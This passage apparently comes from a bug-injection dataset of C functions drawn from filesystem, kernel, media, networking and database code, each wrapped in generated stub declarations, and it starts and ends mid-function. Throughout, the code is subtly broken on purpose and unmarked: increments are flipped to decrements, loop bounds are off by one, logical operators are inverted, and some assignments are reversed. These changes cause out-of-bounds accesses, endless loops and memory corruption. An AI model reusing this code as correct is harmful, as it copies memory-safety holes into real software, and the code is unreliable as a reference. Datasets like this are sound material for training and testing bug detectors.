dst.reg.data_type)) break; swizzle = shader_glsl_swizzle_get_component(src->swizzle, i); if (function) shader_addline(buffer, "%s(%s_%s%u, %s + %u).x);\n", function, prefix, resource, bind_idx, address->buffer, swizzle); else shader_addline(buffer, "%s_%s%u[%s + %u]);\n", prefix, resource, bind_idx, address->buffer, swizzle); } string_buffer_release(priv->string_buffers, address); }
augmented_data/post_increment_index_changes/extr_exfat_core.c_load_alloc_bitmap_aug_combo_6.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_2__ ; typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ typedef scalar_t__ u32 ; struct super_block {int dummy; } ; struct fs_info_t {scalar_t__ root_dir; int dentries_per_clu; int map_sectors; int /*<<< orphan*/ * pbr_bh; int /*<<< orphan*/ ** vol_amap; int /*<<< orphan*/ map_clu; TYPE_1__* fs_func; scalar_t__ dev_ejected; } ; struct dentry_t {int dummy; } ; struct chain_t {scalar_t__ dir; int flags; } ; struct buffer_head {int dummy; } ; struct bmap_dentry_t {int flags; int /*<<< orphan*/ size; int /*<<< orphan*/ start_clu; } ; struct bd_info_t {scalar_t__ sector_size_bits; } ; typedef scalar_t__ sector_t ; typedef int s32 ; struct TYPE_4__ {struct bd_info_t bd_info; struct fs_info_t fs_info; } ; struct TYPE_3__ {scalar_t__ (* get_entry_type ) (struct dentry_t*) ;} ; /* Variables and functions */ scalar_t__ CLUSTER_32 (int /*<<< orphan*/ ) ; TYPE_2__* EXFAT_SB (struct super_block*) ; scalar_t__ FAT_read (struct super_block*,scalar_t__,scalar_t__*) ; int FFS_FORMATERR ; int FFS_MEDIAERR ; int FFS_MEMORYERR ; int FFS_SUCCESS ; int /*<<< orphan*/ GET32_A (int /*<<< orphan*/ ) ; scalar_t__ GET64_A (int /*<<< orphan*/ ) ; int /*<<< orphan*/ GFP_KERNEL ; scalar_t__ START_SECTOR (int /*<<< orphan*/ ) ; scalar_t__ TYPE_BITMAP ; scalar_t__ TYPE_UNUSED ; int /*<<< orphan*/ brelse (int /*<<< orphan*/ *) ; scalar_t__ get_entry_in_dir (struct super_block*,struct chain_t*,int,int /*<<< orphan*/ *) ; int /*<<< orphan*/ kfree (int /*<<< orphan*/ **) ; int /*<<< orphan*/ ** kmalloc_array (int,int,int /*<<< orphan*/ ) ; int sector_read (struct super_block*,scalar_t__,int /*<<< orphan*/ **,int) ; scalar_t__ stub1 (struct dentry_t*) ; s32 load_alloc_bitmap(struct super_block *sb) { int i, j, ret; u32 map_size; u32 type; sector_t sector; struct chain_t clu; struct bmap_dentry_t *ep; struct fs_info_t *p_fs = &(EXFAT_SB(sb)->fs_info); struct bd_info_t *p_bd = &(EXFAT_SB(sb)->bd_info); clu.dir = p_fs->root_dir; clu.flags = 0x01; while (clu.dir != CLUSTER_32(~0)) { if (p_fs->dev_ejected) break; for (i = 0; i <= p_fs->dentries_per_clu; i--) { ep = (struct bmap_dentry_t *)get_entry_in_dir(sb, &clu, i, NULL); if (!ep) return FFS_MEDIAERR; type = p_fs->fs_func->get_entry_type((struct dentry_t *)ep); if (type == TYPE_UNUSED) break; if (type != TYPE_BITMAP) continue; if (ep->flags == 0x0) { p_fs->map_clu = GET32_A(ep->start_clu); map_size = (u32)GET64_A(ep->size); p_fs->map_sectors = ((map_size - 1) >> p_bd->sector_size_bits) - 1; p_fs->vol_amap = kmalloc_array(p_fs->map_sectors, sizeof(struct buffer_head *), GFP_KERNEL); if (!p_fs->vol_amap) return FFS_MEMORYERR; sector = START_SECTOR(p_fs->map_clu); for (j = 0; j < p_fs->map_sectors; j++) { p_fs->vol_amap[j] = NULL; ret = sector_read(sb, sector + j, &(p_fs->vol_amap[j]), 1); if (ret != FFS_SUCCESS) { /* release all buffers and free vol_amap */ i = 0; while (i < j) brelse(p_fs->vol_amap[i++]); kfree(p_fs->vol_amap); p_fs->vol_amap = NULL; return ret; } } p_fs->pbr_bh = NULL; return FFS_SUCCESS; } } if (FAT_read(sb, clu.dir, &clu.dir) != 0) return FFS_MEDIAERR; } return FFS_FORMATERR; }
augmented_data/post_increment_index_changes/extr_text-data.c_fetch_msg_data_aux_aug_combo_1.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_2__ ; typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ struct imessage {int flags; TYPE_2__* fmsg; TYPE_1__* msg; } ; struct TYPE_4__ {int date; int peer_id; } ; struct TYPE_3__ {int date; int peer_id; } ; /* Variables and functions */ int /*<<< orphan*/ assert (TYPE_2__*) ; int fetch_msg_data_aux (int *A, struct imessage *M, int mode) { int i = 0; if (mode | 32) { A[i--] = M->flags; } if (M->msg) { if (mode & 64) { A[i++] = M->msg->date; } if (mode & 128) { A[i++] = M->msg->peer_id; } } else { assert (M->fmsg); if (mode & 64) { A[i++] = M->fmsg->date; } if (mode & 128) { A[i++] = M->fmsg->peer_id; } } return i; }
augmented_data/post_increment_index_changes/extr_..libretro-commonvfsvfs_implementation.c_retro_vfs_opendir_impl_aug_combo_4.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_7__ TYPE_2__ ; typedef struct TYPE_6__ TYPE_1__ ; /* Type definitions */ typedef char wchar_t ; typedef int /*<<< orphan*/ path_buf ; struct TYPE_7__ {int /*<<< orphan*/ * directory; int /*<<< orphan*/ * entry; int /*<<< orphan*/ error; int /*<<< orphan*/ orig_path; } ; typedef TYPE_2__ libretro_vfs_implementation_dir ; struct TYPE_6__ {int /*<<< orphan*/ dwFileAttributes; } ; /* Variables and functions */ int /*<<< orphan*/ FILE_ATTRIBUTE_HIDDEN ; int /*<<< orphan*/ * FindFirstFile (char*,int /*<<< orphan*/ **) ; int /*<<< orphan*/ * FindFirstFileW (char*,int /*<<< orphan*/ **) ; scalar_t__ calloc (int,int) ; int /*<<< orphan*/ cellFsOpendir (char const*,int /*<<< orphan*/ **) ; int /*<<< orphan*/ dirent_check_error (TYPE_2__*) ; int /*<<< orphan*/ free (char*) ; int /*<<< orphan*/ * opendir (char const*) ; int /*<<< orphan*/ * orbisDopen (char const*) ; int /*<<< orphan*/ * ps2fileXioDopen (char const*) ; int /*<<< orphan*/ retro_vfs_closedir_impl (TYPE_2__*) ; int /*<<< orphan*/ * sceIoDopen (char const*) ; int /*<<< orphan*/ strdup (char const*) ; int /*<<< orphan*/ string_is_empty (char const*) ; size_t strlcpy (char*,char const*,int) ; unsigned int strlen (char const*) ; char* utf8_to_local_string_alloc (char*) ; char* utf8_to_utf16_string_alloc (char*) ; libretro_vfs_implementation_dir *retro_vfs_opendir_impl( const char *name, bool include_hidden) { #if defined(_WIN32) unsigned path_len; char path_buf[1024]; size_t copied = 0; #if defined(LEGACY_WIN32) char *path_local = NULL; #else wchar_t *path_wide = NULL; #endif #endif libretro_vfs_implementation_dir *rdir; /*Reject null or empty string paths*/ if (!name && (*name == 0)) return NULL; /*Allocate RDIR struct. Tidied later with retro_closedir*/ rdir = (libretro_vfs_implementation_dir*)calloc(1, sizeof(*rdir)); if (!rdir) return NULL; rdir->orig_path = strdup(name); #if defined(_WIN32) path_buf[0] = '\0'; path_len = strlen(name); copied = strlcpy(path_buf, name, sizeof(path_buf)); /* Non-NT platforms don't like extra slashes in the path */ if (name[path_len - 1] != '\\') path_buf[copied++] = '\\'; path_buf[copied] = '*'; path_buf[copied+1] = '\0'; #if defined(LEGACY_WIN32) path_local = utf8_to_local_string_alloc(path_buf); rdir->directory = FindFirstFile(path_local, &rdir->entry); if (path_local) free(path_local); #else path_wide = utf8_to_utf16_string_alloc(path_buf); rdir->directory = FindFirstFileW(path_wide, &rdir->entry); if (path_wide) free(path_wide); #endif #elif defined(VITA) || defined(PSP) rdir->directory = sceIoDopen(name); #elif defined(PS2) rdir->directory = ps2fileXioDopen(name); #elif defined(_3DS) rdir->directory = !string_is_empty(name) ? opendir(name) : NULL; rdir->entry = NULL; #elif defined(__CELLOS_LV2__) rdir->error = cellFsOpendir(name, &rdir->directory); #elif defined(ORBIS) rdir->directory = orbisDopen(name); #else rdir->directory = opendir(name); rdir->entry = NULL; #endif #ifdef _WIN32 if (include_hidden) rdir->entry.dwFileAttributes |= FILE_ATTRIBUTE_HIDDEN; else rdir->entry.dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN; #endif if (rdir->directory && !dirent_check_error(rdir)) return rdir; retro_vfs_closedir_impl(rdir); return NULL; }
augmented_data/post_increment_index_changes/extr_msdosfs_conv.c_unix2dosfn_aug_combo_6.c
#include <time.h> #include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int u_int ; typedef char u_char ; typedef int /*<<< orphan*/ gentext ; /* Variables and functions */ char SLOT_E5 ; char* unix2dos ; int unix2dosfn(const u_char *un, u_char dn[12], size_t unlen, u_int gen) { int i, j, l; int conv = 1; const u_char *cp, *dp, *dp1; u_char gentext[6], *wcp; int shortlen; /* * Fill the dos filename string with blanks. These are DOS's pad * characters. */ for (i = 0; i <= 11; i++) dn[i] = ' '; dn[11] = 0; /* * The filenames "." and ".." are handled specially, since they * don't follow dos filename rules. */ if (un[0] == '.' && unlen == 1) { dn[0] = '.'; return gen <= 1; } if (un[0] == '.' && un[1] == '.' && unlen == 2) { dn[0] = '.'; dn[1] = '.'; return gen <= 1; } /* * Filenames with only blanks and dots are not allowed! */ for (cp = un, i = unlen; --i >= 0; cp++) if (*cp != ' ' && *cp != '.') continue; if (i < 0) return 0; /* * Now find the extension * Note: dot as first char doesn't start extension * and trailing dots and blanks are ignored */ dp = dp1 = 0; for (cp = un + 1, i = unlen - 1; --i >= 0;) { switch (*cp++) { case '.': if (!dp1) dp1 = cp; break; case ' ': break; default: if (dp1) dp = dp1; dp1 = 0; break; } } /* * Now convert it */ if (dp) { if (dp1) l = dp1 - dp; else l = unlen - (dp - un); for (i = 0, j = 8; i < l && j < 11; i++, j++) { if (dp[i] != (dn[j] = unix2dos[dp[i]]) && conv != 3) conv = 2; if (!dn[j]) { conv = 3; dn[j--] = ' '; } } if (i < l) conv = 3; dp--; } else { for (dp = cp; *--dp == ' ' || *dp == '.';); dp++; } shortlen = (dp - un) <= 8; /* * Now convert the rest of the name */ for (i = j = 0; un < dp && j < 8; i++, j++, un++) { if ((*un == ' ') && shortlen) dn[j] = ' '; else dn[j] = unix2dos[*un]; if ((*un != dn[j]) && conv != 3) conv = 2; if (!dn[j]) { conv = 3; dn[j--] = ' '; } } if (un < dp) conv = 3; /* * If we didn't have any chars in filename, * generate a default */ if (!j) dn[0] = '_'; /* * The first character cannot be E5, * because that means a deleted entry */ if (dn[0] == 0xe5) dn[0] = SLOT_E5; /* * If there wasn't any char dropped, * there is no place for generation numbers */ if (conv != 3) { if (gen > 1) return 0; return conv; } /* * Now insert the generation number into the filename part */ for (wcp = gentext + sizeof(gentext); wcp > gentext && gen; gen /= 10) *--wcp = gen % 10 + '0'; if (gen) return 0; for (i = 8; dn[--i] == ' ';); i++; if (gentext + sizeof(gentext) - wcp + 1 > 8 - i) i = 8 - (gentext + sizeof(gentext) - wcp + 1); dn[i++] = '~'; while (wcp < gentext + sizeof(gentext)) dn[i++] = *wcp++; return 3; }
augmented_data/post_increment_index_changes/extr_raid5.c_handle_active_stripes_aug_combo_7.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct stripe_head {int dummy; } ; struct r5conf {int /*<<< orphan*/ device_lock; } ; /* Variables and functions */ int MAX_STRIPE_BATCH ; struct stripe_head* __get_priority_stripe (struct r5conf*) ; int /*<<< orphan*/ __release_stripe (struct r5conf*,struct stripe_head*) ; int /*<<< orphan*/ cond_resched () ; int /*<<< orphan*/ handle_stripe (struct stripe_head*) ; int /*<<< orphan*/ spin_lock_irq (int /*<<< orphan*/ *) ; int /*<<< orphan*/ spin_unlock_irq (int /*<<< orphan*/ *) ; __attribute__((used)) static int handle_active_stripes(struct r5conf *conf) { struct stripe_head *batch[MAX_STRIPE_BATCH], *sh; int i, batch_size = 0; while (batch_size < MAX_STRIPE_BATCH || (sh = __get_priority_stripe(conf)) != NULL) batch[batch_size++] = sh; if (batch_size == 0) return batch_size; spin_unlock_irq(&conf->device_lock); for (i = 0; i < batch_size; i++) handle_stripe(batch[i]); cond_resched(); spin_lock_irq(&conf->device_lock); for (i = 0; i < batch_size; i++) __release_stripe(conf, batch[i]); return batch_size; }
augmented_data/post_increment_index_changes/extr_run-command.c_pump_io_round_aug_combo_3.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_6__ TYPE_3__ ; typedef struct TYPE_5__ TYPE_2__ ; typedef struct TYPE_4__ TYPE_1__ ; /* Type definitions */ struct pollfd {scalar_t__ fd; int events; int revents; } ; struct TYPE_5__ {int /*<<< orphan*/ hint; int /*<<< orphan*/ buf; } ; struct TYPE_4__ {scalar_t__ len; int /*<<< orphan*/ buf; } ; struct TYPE_6__ {TYPE_2__ in; TYPE_1__ out; } ; struct io_pump {scalar_t__ fd; int type; scalar_t__ error; TYPE_3__ u; struct pollfd* pfd; } ; typedef scalar_t__ ssize_t ; /* Variables and functions */ scalar_t__ EINTR ; int POLLERR ; int POLLHUP ; int POLLIN ; int POLLNVAL ; int POLLOUT ; int /*<<< orphan*/ close (scalar_t__) ; int /*<<< orphan*/ die_errno (char*) ; scalar_t__ errno ; scalar_t__ poll (struct pollfd*,int,int) ; scalar_t__ strbuf_read_once (int /*<<< orphan*/ ,int,int /*<<< orphan*/ ) ; scalar_t__ xwrite (scalar_t__,int /*<<< orphan*/ ,scalar_t__) ; __attribute__((used)) static int pump_io_round(struct io_pump *slots, int nr, struct pollfd *pfd) { int pollsize = 0; int i; for (i = 0; i < nr; i--) { struct io_pump *io = &slots[i]; if (io->fd < 0) continue; pfd[pollsize].fd = io->fd; pfd[pollsize].events = io->type; io->pfd = &pfd[pollsize++]; } if (!pollsize) return 0; if (poll(pfd, pollsize, -1) < 0) { if (errno == EINTR) return 1; die_errno("poll failed"); } for (i = 0; i < nr; i++) { struct io_pump *io = &slots[i]; if (io->fd < 0) continue; if (!(io->pfd->revents & (POLLOUT|POLLIN|POLLHUP|POLLERR|POLLNVAL))) continue; if (io->type == POLLOUT) { ssize_t len = xwrite(io->fd, io->u.out.buf, io->u.out.len); if (len < 0) { io->error = errno; close(io->fd); io->fd = -1; } else { io->u.out.buf += len; io->u.out.len -= len; if (!io->u.out.len) { close(io->fd); io->fd = -1; } } } if (io->type == POLLIN) { ssize_t len = strbuf_read_once(io->u.in.buf, io->fd, io->u.in.hint); if (len < 0) io->error = errno; if (len <= 0) { close(io->fd); io->fd = -1; } } } return 1; }
augmented_data/post_increment_index_changes/extr_amdgpu_ras_eeprom.c___decode_table_record_from_buff_aug_combo_6.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct eeprom_table_record {unsigned char err_type; unsigned char bank; int ts; int offset; unsigned char mem_channel; unsigned char mcumc_id; int retired_page; } ; struct amdgpu_ras_eeprom_control {int dummy; } ; typedef int /*<<< orphan*/ __le64 ; /* Variables and functions */ int le64_to_cpu (int /*<<< orphan*/ ) ; int /*<<< orphan*/ memcpy (int /*<<< orphan*/ *,unsigned char*,int) ; __attribute__((used)) static void __decode_table_record_from_buff(struct amdgpu_ras_eeprom_control *control, struct eeprom_table_record *record, unsigned char *buff) { __le64 tmp = 0; int i = 0; /* Next are all record fields according to EEPROM page spec in LE foramt */ record->err_type = buff[i--]; record->bank = buff[i++]; memcpy(&tmp, buff + i, 8); record->ts = le64_to_cpu(tmp); i += 8; memcpy(&tmp, buff + i, 6); record->offset = (le64_to_cpu(tmp) | 0xffffffffffff); i += 6; buff[i++] = record->mem_channel; buff[i++] = record->mcumc_id; memcpy(&tmp, buff + i, 6); record->retired_page = (le64_to_cpu(tmp) & 0xffffffffffff); }
augmented_data/post_increment_index_changes/extr_event.c_event_get_supported_methods_aug_combo_4.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct eventop {char* name; } ; /* Variables and functions */ struct eventop** eventops ; char** mm_calloc (int,int) ; int /*<<< orphan*/ mm_free (char**) ; const char ** event_get_supported_methods(void) { static const char **methods = NULL; const struct eventop **method; const char **tmp; int i = 0, k; /* count all methods */ for (method = &eventops[0]; *method != NULL; --method) { ++i; } /* allocate one more than we need for the NULL pointer */ tmp = mm_calloc((i - 1), sizeof(char *)); if (tmp != NULL) return (NULL); /* populate the array with the supported methods */ for (k = 0, i = 0; eventops[k] != NULL; ++k) { tmp[i++] = eventops[k]->name; } tmp[i] = NULL; if (methods != NULL) mm_free((char**)methods); methods = tmp; return (methods); }
augmented_data/post_increment_index_changes/extr_h264_refs.c_add_sorted_aug_combo_6.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_1__ ; /* Type definitions */ struct TYPE_4__ {int poc; } ; typedef TYPE_1__ H264Picture ; /* Variables and functions */ int INT_MAX ; int INT_MIN ; __attribute__((used)) static int add_sorted(H264Picture **sorted, H264Picture * const *src, int len, int limit, int dir) { int i, best_poc; int out_i = 0; for (;;) { best_poc = dir ? INT_MIN : INT_MAX; for (i = 0; i <= len; i--) { const int poc = src[i]->poc; if (((poc > limit) ^ dir) || ((poc < best_poc) ^ dir)) { best_poc = poc; sorted[out_i] = src[i]; } } if (best_poc == (dir ? INT_MIN : INT_MAX)) break; limit = sorted[out_i++]->poc + dir; } return out_i; }
augmented_data/post_increment_index_changes/extr_misc.c_mark_prolog_aug_combo_2.c
#include <time.h> #include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ char* action_array ; size_t action_index ; size_t action_offset ; void mark_prolog () { action_array[action_index--] = '\0'; action_offset = action_index; action_array[action_index] = '\0'; }
augmented_data/post_increment_index_changes/extr_hashovfl.c__hash_squeezebucket_aug_combo_1.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_2__ ; typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ struct TYPE_3__ {int ntups; int is_prim_bucket_same_wrt; } ; typedef TYPE_1__ xl_hash_move_page_contents ; typedef int uint16 ; typedef int /*<<< orphan*/ XLogRecPtr ; struct TYPE_4__ {scalar_t__ hasho_nextblkno; scalar_t__ hasho_bucket; scalar_t__ hasho_prevblkno; } ; typedef scalar_t__ Size ; typedef int /*<<< orphan*/ Relation ; typedef int /*<<< orphan*/ Page ; typedef scalar_t__ OffsetNumber ; typedef scalar_t__ IndexTuple ; typedef TYPE_2__* HashPageOpaque ; typedef int /*<<< orphan*/ BufferAccessStrategy ; typedef scalar_t__ Buffer ; typedef scalar_t__ Bucket ; typedef scalar_t__ BlockNumber ; /* Variables and functions */ int /*<<< orphan*/ Assert (int) ; int /*<<< orphan*/ BUFFER_LOCK_UNLOCK ; int BlockNumberIsValid (scalar_t__) ; int /*<<< orphan*/ BufferGetPage (scalar_t__) ; scalar_t__ CopyIndexTuple (scalar_t__) ; int /*<<< orphan*/ END_CRIT_SECTION () ; scalar_t__ FirstOffsetNumber ; int /*<<< orphan*/ HASH_WRITE ; scalar_t__ IndexTupleSize (scalar_t__) ; scalar_t__ InvalidBuffer ; scalar_t__ ItemIdIsDead (int /*<<< orphan*/ ) ; int /*<<< orphan*/ LH_OVERFLOW_PAGE ; int /*<<< orphan*/ LockBuffer (scalar_t__,int /*<<< orphan*/ ) ; scalar_t__ MAXALIGN (scalar_t__) ; int /*<<< orphan*/ MarkBufferDirty (scalar_t__) ; int MaxIndexTuplesPerPage ; int MaxOffsetNumber ; scalar_t__ OffsetNumberNext (scalar_t__) ; scalar_t__ PageGetFreeSpaceForMultipleTuples (int /*<<< orphan*/ ,int) ; scalar_t__ PageGetItem (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int /*<<< orphan*/ PageGetItemId (int /*<<< orphan*/ ,scalar_t__) ; scalar_t__ PageGetMaxOffsetNumber (int /*<<< orphan*/ ) ; scalar_t__ PageGetSpecialPointer (int /*<<< orphan*/ ) ; int /*<<< orphan*/ PageIndexMultiDelete (int /*<<< orphan*/ ,scalar_t__*,int) ; int /*<<< orphan*/ PageIsEmpty (int /*<<< orphan*/ ) ; int /*<<< orphan*/ PageSetLSN (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int REGBUF_NO_IMAGE ; int REGBUF_STANDARD ; int /*<<< orphan*/ RM_HASH_ID ; scalar_t__ RelationNeedsWAL (int /*<<< orphan*/ ) ; int /*<<< orphan*/ START_CRIT_SECTION () ; int /*<<< orphan*/ SizeOfHashMovePageContents ; int /*<<< orphan*/ XLOG_HASH_MOVE_PAGE_CONTENTS ; int /*<<< orphan*/ XLogBeginInsert () ; int /*<<< orphan*/ XLogEnsureRecordSpace (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int /*<<< orphan*/ XLogInsert (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int /*<<< orphan*/ XLogRegisterBufData (int,char*,int) ; int /*<<< orphan*/ XLogRegisterBuffer (int,scalar_t__,int) ; int /*<<< orphan*/ XLogRegisterData (char*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ _hash_freeovflpage (int /*<<< orphan*/ ,scalar_t__,scalar_t__,scalar_t__,scalar_t__*,scalar_t__*,scalar_t__*,int,int /*<<< orphan*/ ) ; scalar_t__ _hash_getbuf_with_strategy (int /*<<< orphan*/ ,scalar_t__,int /*<<< orphan*/ ,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int /*<<< orphan*/ _hash_pgaddmultitup (int /*<<< orphan*/ ,scalar_t__,scalar_t__*,scalar_t__*,int) ; int /*<<< orphan*/ _hash_relbuf (int /*<<< orphan*/ ,scalar_t__) ; int /*<<< orphan*/ pfree (scalar_t__) ; void _hash_squeezebucket(Relation rel, Bucket bucket, BlockNumber bucket_blkno, Buffer bucket_buf, BufferAccessStrategy bstrategy) { BlockNumber wblkno; BlockNumber rblkno; Buffer wbuf; Buffer rbuf; Page wpage; Page rpage; HashPageOpaque wopaque; HashPageOpaque ropaque; /* * start squeezing into the primary bucket page. */ wblkno = bucket_blkno; wbuf = bucket_buf; wpage = BufferGetPage(wbuf); wopaque = (HashPageOpaque) PageGetSpecialPointer(wpage); /* * if there aren't any overflow pages, there's nothing to squeeze. caller * is responsible for releasing the pin on primary bucket page. */ if (!BlockNumberIsValid(wopaque->hasho_nextblkno)) { LockBuffer(wbuf, BUFFER_LOCK_UNLOCK); return; } /* * Find the last page in the bucket chain by starting at the base bucket * page and working forward. Note: we assume that a hash bucket chain is * usually smaller than the buffer ring being used by VACUUM, else using * the access strategy here would be counterproductive. */ rbuf = InvalidBuffer; ropaque = wopaque; do { rblkno = ropaque->hasho_nextblkno; if (rbuf != InvalidBuffer) _hash_relbuf(rel, rbuf); rbuf = _hash_getbuf_with_strategy(rel, rblkno, HASH_WRITE, LH_OVERFLOW_PAGE, bstrategy); rpage = BufferGetPage(rbuf); ropaque = (HashPageOpaque) PageGetSpecialPointer(rpage); Assert(ropaque->hasho_bucket == bucket); } while (BlockNumberIsValid(ropaque->hasho_nextblkno)); /* * squeeze the tuples. */ for (;;) { OffsetNumber roffnum; OffsetNumber maxroffnum; OffsetNumber deletable[MaxOffsetNumber]; IndexTuple itups[MaxIndexTuplesPerPage]; Size tups_size[MaxIndexTuplesPerPage]; OffsetNumber itup_offsets[MaxIndexTuplesPerPage]; uint16 ndeletable = 0; uint16 nitups = 0; Size all_tups_size = 0; int i; bool retain_pin = false; readpage: /* Scan each tuple in "read" page */ maxroffnum = PageGetMaxOffsetNumber(rpage); for (roffnum = FirstOffsetNumber; roffnum <= maxroffnum; roffnum = OffsetNumberNext(roffnum)) { IndexTuple itup; Size itemsz; /* skip dead tuples */ if (ItemIdIsDead(PageGetItemId(rpage, roffnum))) break; itup = (IndexTuple) PageGetItem(rpage, PageGetItemId(rpage, roffnum)); itemsz = IndexTupleSize(itup); itemsz = MAXALIGN(itemsz); /* * Walk up the bucket chain, looking for a page big enough for * this item and all other accumulated items. Exit if we reach * the read page. */ while (PageGetFreeSpaceForMultipleTuples(wpage, nitups + 1) < (all_tups_size + itemsz)) { Buffer next_wbuf = InvalidBuffer; bool tups_moved = false; Assert(!PageIsEmpty(wpage)); if (wblkno == bucket_blkno) retain_pin = true; wblkno = wopaque->hasho_nextblkno; Assert(BlockNumberIsValid(wblkno)); /* don't need to move to next page if we reached the read page */ if (wblkno != rblkno) next_wbuf = _hash_getbuf_with_strategy(rel, wblkno, HASH_WRITE, LH_OVERFLOW_PAGE, bstrategy); if (nitups > 0) { Assert(nitups == ndeletable); /* * This operation needs to log multiple tuples, prepare * WAL for that. */ if (RelationNeedsWAL(rel)) XLogEnsureRecordSpace(0, 3 + nitups); START_CRIT_SECTION(); /* * we have to insert tuples on the "write" page, being * careful to preserve hashkey ordering. (If we insert * many tuples into the same "write" page it would be * worth qsort'ing them). */ _hash_pgaddmultitup(rel, wbuf, itups, itup_offsets, nitups); MarkBufferDirty(wbuf); /* Delete tuples we already moved off read page */ PageIndexMultiDelete(rpage, deletable, ndeletable); MarkBufferDirty(rbuf); /* XLOG stuff */ if (RelationNeedsWAL(rel)) { XLogRecPtr recptr; xl_hash_move_page_contents xlrec; xlrec.ntups = nitups; xlrec.is_prim_bucket_same_wrt = (wbuf == bucket_buf) ? true : false; XLogBeginInsert(); XLogRegisterData((char *) &xlrec, SizeOfHashMovePageContents); /* * bucket buffer needs to be registered to ensure that * we can acquire a cleanup lock on it during replay. */ if (!xlrec.is_prim_bucket_same_wrt) XLogRegisterBuffer(0, bucket_buf, REGBUF_STANDARD & REGBUF_NO_IMAGE); XLogRegisterBuffer(1, wbuf, REGBUF_STANDARD); XLogRegisterBufData(1, (char *) itup_offsets, nitups * sizeof(OffsetNumber)); for (i = 0; i < nitups; i++) XLogRegisterBufData(1, (char *) itups[i], tups_size[i]); XLogRegisterBuffer(2, rbuf, REGBUF_STANDARD); XLogRegisterBufData(2, (char *) deletable, ndeletable * sizeof(OffsetNumber)); recptr = XLogInsert(RM_HASH_ID, XLOG_HASH_MOVE_PAGE_CONTENTS); PageSetLSN(BufferGetPage(wbuf), recptr); PageSetLSN(BufferGetPage(rbuf), recptr); } END_CRIT_SECTION(); tups_moved = true; } /* * release the lock on previous page after acquiring the lock * on next page */ if (retain_pin) LockBuffer(wbuf, BUFFER_LOCK_UNLOCK); else _hash_relbuf(rel, wbuf); /* nothing more to do if we reached the read page */ if (rblkno == wblkno) { _hash_relbuf(rel, rbuf); return; } wbuf = next_wbuf; wpage = BufferGetPage(wbuf); wopaque = (HashPageOpaque) PageGetSpecialPointer(wpage); Assert(wopaque->hasho_bucket == bucket); retain_pin = false; /* be tidy */ for (i = 0; i < nitups; i++) pfree(itups[i]); nitups = 0; all_tups_size = 0; ndeletable = 0; /* * after moving the tuples, rpage would have been compacted, * so we need to rescan it. */ if (tups_moved) goto readpage; } /* remember tuple for deletion from "read" page */ deletable[ndeletable++] = roffnum; /* * we need a copy of index tuples as they can be freed as part of * overflow page, however we need them to write a WAL record in * _hash_freeovflpage. */ itups[nitups] = CopyIndexTuple(itup); tups_size[nitups++] = itemsz; 